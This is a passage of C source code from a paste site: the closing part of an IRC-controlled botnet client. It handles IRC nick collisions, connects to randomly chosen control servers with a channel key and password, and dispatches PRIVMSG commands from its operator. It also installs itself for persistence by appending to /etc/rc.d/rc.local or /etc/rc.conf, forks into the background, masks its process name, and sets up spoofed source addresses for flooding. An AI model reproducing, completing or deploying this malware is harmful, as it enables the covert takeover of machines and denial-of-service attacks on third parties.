  836. ((char*)&spoofs)[3]=((char*)&m)[0];
  837. ((char*)&spoofs)[2]=((char*)&m)[1];
  838. ((char*)&spoofs)[1]=((char*)&m)[2];
  839. ((char*)&spoofs)[0]=0;
  840. spoofsm=256;
  841. }
  842. }
  843. void _433(int sock, char *sender, char *str) {
  844. free(nick);
  845. char tempnick[50];
  846. char *strpref = PREFIX;
  847. char *genname = makestring();
  848. strcpy(tempnick,strpref);
  849. strcat(tempnick,genname);
  850. nick=tempnick;
  851. }
  852.  
  853. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  854. { "352", _352 },
  855. { "376", _376 },
  856. { "433", _433 },
  857. { "422", _376 },
  858. { "PRIVMSG", _PRIVMSG },
  859. { "PING", _PING },
  860. { (char *)0, (void (*)(int,char *,char *))0 } };
  861. void con() {
  862. struct sockaddr_in srv;
  863. unsigned long ipaddr,start;
  864. int flag;
  865. struct hostent *hp;
  866. start:
  867. sock=-1;
  868. flag=1;
  869. if (changeservers == 0) server=servers[rand()%numservers];
  870. changeservers=0;
  871. while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  872. if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  873. if ((hp = gethostbyname(server)) == NULL) {
  874. server=NULL;
  875. close(sock);
  876. goto start;
  877. }
  878. bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  879. }
  880. else srv.sin_addr.s_addr=inet_addr(server);
  881. srv.sin_family = AF_INET;
  882. srv.sin_port = htons(PORT);
  883. ioctl(sock,FIONBIO,&flag);
  884. start=time(NULL);
  885. while(time(NULL)-start < 10) {
  886. errno=0;
  887. if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  888. setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  889. setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  890. setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  891. return;
  892. }
  893. if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  894. sleep(1);
  895. }
  896. server=NULL;
  897. close(sock);
  898. goto start;
  899. }
  900. int main(int argc, char *argv[]) {
  901. int on,i;
  902. char cwd[256],*str;
  903. FILE *file;
  904. #ifdef STARTUP
  905. str="/etc/rc.d/rc.local";
  906. file=fopen(str,"r");
  907. if (file == NULL) {
  908. str="/etc/rc.conf";
  909. file=fopen(str,"r");
  910. }
  911. if (file != NULL) {
  912. char outfile[256], buf[1024];
  913. int i=strlen(argv[0]), d=0;
  914. getcwd(cwd,256);
  915. if (strcmp(cwd,"/")) {
  916. while(argv[0][i] != '/') i--;
  917. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  918. while(!feof(file)) {
  919. fgets(buf,1024,file);
  920. if (!strcasecmp(buf,outfile)) d++;
  921. }
  922. if (d == 0) {
  923. FILE *out;
  924. fclose(file);
  925. out=fopen(str,"a");
  926. if (out != NULL) {
  927. fputs(outfile,out);
  928. fclose(out);
  929. }
  930. }
  931. else fclose(file);
  932. }
  933. else fclose(file);
  934. }
  935. #endif
  936. if (fork()) exit(0);
  937. #ifdef FAKENAME
  938. strncpy(argv[0],FAKENAME,strlen(argv[0]));
  939. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  940. #endif
  941. srand((time(NULL) ^ getpid()) + getppid());
  942. char tempnick[50];
  943. char *strpref = PREFIX;
  944. char *genname = makestring();
  945.  
  946. strcpy(tempnick,strpref);
  947. strcat(tempnick,genname);
  948.  
  949. nick=tempnick;
  950. ident="Remote";
  951. user="Remote IRC Bot";
  952. chan=CHAN;
  953. key=KEY;
  954. pass=PASS;
  955. server=NULL;
  956. sa:
  957. #ifdef IDENT
  958. for (i=0;i<numpids;i++) {
  959. if (pids[i] != 0 && pids[i] != getpid()) {
  960. kill(pids[i],9);
  961. waitpid(pids[i],NULL,WNOHANG);
  962. }
  963. }
  964. pids=NULL;
  965. numpids=0;
  966. identd();
  967. #endif
  968.  
  969. con();
  970. Send(sock,"PASS %s\n", pass);
  971. Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  972. while(1) {
  973. unsigned long i;
  974. fd_set n;
  975. struct timeval tv;
  976. FD_ZERO(&n);
  977. FD_SET(sock,&n);
  978. tv.tv_sec=60*20;
  979. tv.tv_usec=0;
  980. if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  981. for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  982. unsigned int *newpids,on;
  983. for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  984. pids[on-1]=0;
  985. numpids--;
  986. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  987. for (on=0;on<numpids;on++) newpids[on]=pids[on];
  988. free(pids);
  989. pids=newpids;
  990. }
  991. if (FD_ISSET(sock,&n)) {
  992. char buf[4096], *str;
  993. int i;
  994. if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  995. buf[i]=0;
  996. str=strtok(buf,"\n");
  997. while(str && *str) {
  998. char name[1024], sender[1024];
  999. filter(str);
  1000. if (*str == ':') {
  1001. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1002. str[i]=0;
  1003. strcpy(sender,str+1);
  1004. strcpy(str,str+i+1);
  1005. }
  1006. else strcpy(sender,"*");
  1007. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1008. str[i]=0;
  1009. strcpy(name,str);
  1010. strcpy(str,str+i+1);
  1011. for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  1012. if (!strcasecmp(name,"ERROR")) goto sa;
  1013. str=strtok((char*)NULL,"\n");
  1014. }
  1015. }
  1016. }
  1017. return 0;
  1018. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement